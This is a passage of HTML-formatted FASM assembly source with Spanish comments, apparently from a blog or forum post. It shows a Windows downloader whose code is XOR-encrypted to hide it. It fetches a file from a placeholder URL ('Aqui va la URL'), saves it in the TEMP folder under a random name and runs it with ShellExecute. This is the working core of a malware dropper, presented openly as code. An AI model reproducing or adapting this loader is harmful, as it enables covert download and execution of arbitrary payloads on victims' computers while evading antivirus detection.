bold;"&gt;endp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; start&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; EncriptacionXOR&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;InicioA&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;FinA&lt;span style="color: rgb(51, 153, 51);"&gt;-&lt;/span&gt;InicioA     &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Desencriptamos&lt;/span&gt;&lt;br /&gt;InicioA&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; CreateThread &lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;DownloadFile&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"Aqui va la URL"&lt;/span&gt;  &lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Creamos el hilo para descargar&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; WaitForSingleObject&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;-1&lt;/span&gt;   &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Esperamos que se cierre el hilo&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; CreateThread &lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;ExitProcess&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Salimos&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;endp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; DownloadFile&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;pUrl&lt;br /&gt;locals&lt;br /&gt;MAX_PATH = &lt;span style="color: rgb(0, 0, 255);"&gt;260&lt;/span&gt;&lt;br /&gt;bwrite &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br /&gt;f rb MAX_PATH&lt;span style="color: rgb(51, 153, 51);"&gt;*&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;2&lt;/span&gt;&lt;br /&gt;handleCreado &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br /&gt;hSession &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br /&gt;hUrl &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br /&gt;buflong &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dd&lt;/span&gt; ?&lt;br /&gt;lbuffer rb &lt;span style="color: rgb(0, 0, 255);"&gt;800&lt;/span&gt;&lt;br /&gt;endl&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; Len&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;pUrl&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;pUrl&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;dec&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;byte&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"."&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jne&lt;/span&gt; &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;bucle&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;         &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Obtenemos la extención&lt;/span&gt;&lt;br /&gt;INVALID_HANDLE_VALUE = &lt;span style="color: rgb(0, 0, 255);"&gt;-1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; GetEnvironmentVariable&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"TEMP"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;addr&lt;/span&gt; f&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;MAX_PATH &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Obtenemos la ruta de los archivos temporales&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;stdcall&lt;/span&gt; Len&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;addr&lt;/span&gt; f&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;lea&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;f&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;add&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;RDTSC&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; wsprintf&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ebx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(127, 0, 127);"&gt;"\%d%s"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;br /&gt;       &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; CreateFileA&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;addr&lt;/span&gt; f&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;40000000h&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;2&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;  &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Creamos el archivo&lt;/span&gt;&lt;br /&gt;               &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt;    &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;INVALID_HANDLE_VALUE&lt;br /&gt;       &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;je&lt;/span&gt;     &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;exit&lt;/span&gt;&lt;br /&gt;       &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;handleCreado&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; InternetOpen&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;  &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt;    &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;INVALID_HANDLE_VALUE&lt;br /&gt;       &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;je&lt;/span&gt;     &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;exit&lt;/span&gt;&lt;br /&gt;       &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;hSession&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;               &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; InternetOpenUrl&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;hSession&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;pUrl&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;                       &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;cmp&lt;/span&gt;    &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;INVALID_HANDLE_VALUE&lt;br /&gt;       &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;je&lt;/span&gt;     &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;exit&lt;/span&gt;&lt;br /&gt;       &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;hUrl&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;download&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;              &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; InternetReadFile&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;hUrl&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;addr&lt;/span&gt; lbuffer&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;800&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;addr&lt;/span&gt; buflong  &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Leemos el archivo&lt;/span&gt;&lt;br /&gt;       &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;or&lt;/span&gt;     &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;buflong&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;       &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jz&lt;/span&gt;     &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;close&lt;br /&gt;&lt;br /&gt;       &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; WriteFile&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;handleCreado&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;addr&lt;/span&gt; lbuffer&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;buflong&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;addr&lt;/span&gt; bwrite&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt; &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Escribimos el archivo&lt;/span&gt;&lt;br /&gt;       &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;jmp&lt;/span&gt;    &lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;download&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;close&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;       &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; CloseHandle&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;handleCreado&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;                                                 &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Cerramos los handle&lt;/span&gt;&lt;br /&gt;       &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; InternetCloseHandle&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;hUrl&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;       &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; InternetCloseHandle&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;hSession&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;       &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; ShellExecute&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(127, 0, 127);"&gt;"Open"&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;addr&lt;/span&gt; f&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt; &lt;span style="color: rgb(0, 0, 255);"&gt;1&lt;/span&gt;    &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Ejecutamos el archivo descargado&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; Sleep&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;1000&lt;/span&gt;                     &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Dormimos 1 segundo&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;exit&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;invoke&lt;/span&gt; ExitThread&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;  &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Salimos del hilo&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;endp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;proc&lt;/span&gt; Len&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;cCadena   &lt;span style="color: rgb(102, 102, 102); font-style: italic;"&gt;;Funcion que mide la cadena&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;push&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;-1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;cCadena&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;al&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;repnz&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;scasb&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;mov&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;not&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;dec&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;pop&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;edi&lt;/span&gt; &lt;span style="color: rgb(0, 0, 127);"&gt;ecx&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 127); font-weight: bold;"&gt;ret&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;endp&lt;/span&gt;&lt;br /&gt;FinA&lt;span style="color: rgb(51, 153, 51);"&gt;:&lt;/span&gt;&lt;br /&gt;encrypt InicioA&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;FinA&lt;span style="color: rgb(51, 153, 51);"&gt;-&lt;/span&gt;InicioA&lt;br /&gt;section &lt;span style="color: rgb(127, 0, 127);"&gt;'.idata'&lt;/span&gt; import &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;data&lt;/span&gt; readable writeable&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;macro&lt;/span&gt; library &lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;name&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;string&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0); font-weight: bold;"&gt;{&lt;/span&gt; forward&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;local&lt;/span&gt; _label&lt;br /&gt;   &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; defined &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;name&lt;/span&gt;#&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;redundant&lt;br /&gt;    &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;if&lt;/span&gt; ~ &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;name&lt;/span&gt;#&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;redundant&lt;br /&gt;     &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;dd&lt;/span&gt; RVA &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;name&lt;/span&gt;#&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;lookup&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;RVA _label&lt;span style="color: rgb(51, 153, 51);"&gt;,&lt;/span&gt;RVA &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;name&lt;/span&gt;#&lt;span style="color: rgb(51, 153, 51);"&gt;.&lt;/span&gt;address&lt;br /&gt;    &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;end&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); 